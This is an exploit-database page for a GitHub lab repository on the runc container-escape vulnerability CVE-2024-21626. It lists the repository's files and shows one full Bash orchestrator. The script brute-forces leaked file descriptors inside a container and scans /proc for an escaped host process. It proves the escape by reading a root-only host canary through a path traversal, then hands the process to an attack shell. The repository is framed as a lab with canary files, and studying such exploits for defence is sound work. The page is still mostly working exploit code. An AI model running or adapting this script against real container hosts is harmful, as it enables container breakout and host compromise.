Exploit databaseDownload repository ZIP
GH-49753b08fbcec64093787273ddec5dd7
rnw29/cve-2024-21626-runc-lab
Sources for CVE-2024-21626
15 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files10
rnw29/cve-2024-21626-runc-labRevision d33f0f7f8fe9
- ↑..Parent directory
- attack2-auto.sh
- attack2-holder.sh
- attack2-shell.py
- attack3b-auto.sh
- attack3b-benign-target.sh
- attack3b-overwrite.c
- attack3b-payload.c
- build-attack3b-payload.sh
- make-attack2-cwd.sh
- make-attack3b-trigger.sh
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
container/attack2-auto.sh
Shell · 5,944 bytes#!/usr/bin/env bash
set -uo pipefail
SCRIPT_DIR="$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd)"
PREPARER="${SCRIPT_DIR}/make-attack2-cwd.sh"
DEFAULT_EXPLORER="${SCRIPT_DIR}/attack2-shell.py"
DEFAULT_PROC_ROOT='/proc'
TRAVERSAL='../../../../../../../../../../../../../../../../'
DEFAULT_CANARY="${TRAVERSAL}opt/cve-2024-21626-lab/attack2-host-canary.txt"
candidate_fds() {
printf '%s\n' 7 8 9
seq 3 6
seq 10 32
}
if [[ "${1:-}" == '--list-candidates' ]]; then
(($# == 1)) || {
printf 'Usage: %s [--list-candidates]\n' "$0" >&2
exit 2
}
candidate_fds
exit 0
fi
(($# == 0)) || {
printf 'Usage: sudo %s [--list-candidates]\n' "$0" >&2
exit 2
}
die() {
printf '[-] %s\n' "$*" >&2
exit 1
}
CWD_ROOT="${EHIR_CWD_ROOT:-/}"
CWD_ROOT="${CWD_ROOT%/}"
[[ -n "${CWD_ROOT}" ]] || CWD_ROOT='/'
PROC_ROOT="${EHIR_PROC_ROOT:-${DEFAULT_PROC_ROOT}}"
CANARY_RELATIVE="${EHIR_CANARY_RELATIVE:-${DEFAULT_CANARY}}"
EXPLORER="${EHIR_EXPLORER:-${DEFAULT_EXPLORER}}"
CANDIDATE_DWELL_SECONDS="${CANDIDATE_DWELL_SECONDS:-65}"
BASELINE_MARKER='CVE21626_LEGITIMATE_CWD'
[[ "${CWD_ROOT}" == /* && -d "${CWD_ROOT}" && ! -L "${CWD_ROOT}" ]] ||
die 'EHIR_CWD_ROOT must be an absolute, non-linked directory.'
[[ "${PROC_ROOT}" == /* && -d "${PROC_ROOT}" && ! -L "${PROC_ROOT}" ]] ||
die 'EHIR_PROC_ROOT must be an absolute, non-linked directory.'
[[ "${CANARY_RELATIVE}" != /* && "${CANARY_RELATIVE}" != *$'\n'* ]] ||
die 'The canary path must be relative and contain no newline.'
[[ "${CANDIDATE_DWELL_SECONDS}" =~ ^[0-9]+$ ]] &&
((CANDIDATE_DWELL_SECONDS >= 1 && CANDIDATE_DWELL_SECONDS <= 180)) ||
die 'CANDIDATE_DWELL_SECONDS must be from 1 to 180.'
if [[ "${CWD_ROOT}" == '/' ]]; then
[[ "${PROC_ROOT}" == "${DEFAULT_PROC_ROOT}" ]] ||
die 'EHIR_PROC_ROOT is available only with a fixed-path test root.'
[[ "${CANARY_RELATIVE}" == "${DEFAULT_CANARY}" ]] ||
die 'EHIR_CANARY_RELATIVE is available only with a fixed-path test root.'
[[ "${EXPLORER}" == "${DEFAULT_EXPLORER}" ]] ||
die 'EHIR_EXPLORER is available only with a fixed-path test root.'
fi
if [[ "${CWD_ROOT}" == '/' ]]; then
CWD_LINK='/var/lib/cve21626-maintenance/work'
else
CWD_LINK="${CWD_ROOT}/var/lib/cve21626-maintenance/work"
fi
CWD_BACKUP="${CWD_LINK}.cve21626-original"
[[ "$(id -u)" == '0' ]] || die 'Run this orchestrator with sudo inside the container.'
[[ -x "${PREPARER}" ]] || die "Missing CWD preparer: ${PREPARER}"
[[ -r "${EXPLORER}" ]] || die "Missing shell: ${EXPLORER}"
command -v python3 >/dev/null 2>&1 || die 'python3 is required inside the container.'
valid_marker() {
local directory="$1"
[[ -f "${directory}/.cve21626-legitimate-cwd" ]] &&
grep -qx "${BASELINE_MARKER}" "${directory}/.cve21626-legitimate-cwd"
}
restore_baseline() {
if [[ -L "${CWD_LINK}" ]]; then
[[ -d "${CWD_BACKUP}" ]] && valid_marker "${CWD_BACKUP}" || return 1
rm -f -- "${CWD_LINK}" || return 1
mv -- "${CWD_BACKUP}" "${CWD_LINK}" || return 1
elif [[ ! -e "${CWD_LINK}" && -d "${CWD_BACKUP}" ]]; then
valid_marker "${CWD_BACKUP}" || return 1
mv -- "${CWD_BACKUP}" "${CWD_LINK}" || return 1
fi
[[ -d "${CWD_LINK}" && ! -L "${CWD_LINK}" ]] || return 1
[[ ! -e "${CWD_BACKUP}" && ! -L "${CWD_BACKUP}" ]] || return 1
valid_marker "${CWD_LINK}"
}
cleanup() {
local status=$?
trap - EXIT INT TERM
if ! restore_baseline; then
printf '%s\n' '[-] Could not restore the legitimate Attack 2 working directory.' >&2
printf '[-] Stop the victim timer and restore: %s\n' "${CWD_LINK}" >&2
((status != 0)) || status=5
fi
exit "${status}"
}
trap cleanup EXIT
trap 'exit 130' INT
trap 'exit 143' TERM
restore_baseline || die "The legitimate baseline is not recoverable at ${CWD_LINK}."
printf '%s\n' '=== Attack 2 attacker-side FD discovery ==='
printf 'Victim CWD: %s\n' "${CWD_LINK}"
printf 'Candidate window: %s seconds\n' "${CANDIDATE_DWELL_SECONDS}"
printf '%s\n' 'The common advisory-era candidates 7, 8, and 9 are tried first.'
mapfile -t CANDIDATE_FDS < <(candidate_fds)
for fd in "${CANDIDATE_FDS[@]}"; do
printf '[*] Testing candidate FD %s...\n' "${fd}"
EHIR_CWD_ROOT="${CWD_ROOT}" "${PREPARER}" "${fd}" >/dev/null ||
die "Could not prepare candidate FD ${fd}."
deadline=$((SECONDS + CANDIDATE_DWELL_SECONDS))
while ((SECONDS < deadline)); do
for cwd in "${PROC_ROOT}"/[0-9]*/cwd; do
resolved="$(readlink "${cwd}" 2>/dev/null)" || continue
proof="$(/bin/cat -- "${cwd}/${CANARY_RELATIVE}" 2>/dev/null)" || continue
[[ "${proof}" == ATTACK2_HOST_CANARY:* ]] || continue
pid="${cwd#"${PROC_ROOT}"/}"
pid="${pid%/cwd}"
[[ "${pid}" =~ ^[0-9]+$ ]] || continue
printf '[+] Discovered leaked FD: %s\n' "${fd}"
printf '[+] Scheduled process captured: PID=%s CWD=%s\n' \
"${pid}" "${resolved}"
printf '[+] Root-only host canary: %s\n' "${proof}"
restore_baseline ||
die 'Captured the process, but restoring the legitimate CWD failed.'
printf '[+] Legitimate victim CWD restored before shell handoff.\n'
python3 "${EXPLORER}" "${pid}"
shell_status=$?
if ((shell_status == 0)); then
exit 0
fi
if ((shell_status == 3)); then
printf '%s\n' '[!] Captured process vanished before descriptor retention; rerun the orchestrator.' >&2
exit 3
fi
die "Shell failed with status ${shell_status}."
done
sleep 0.05
done
done
printf '%s\n' '[-] Exhausted FD candidates 3-32 without an escaped scheduled process.' >&2
printf '%s\n' '[-] Confirm the Attack 2 victim timer is armed, then rerun this orchestrator.' >&2
exit 2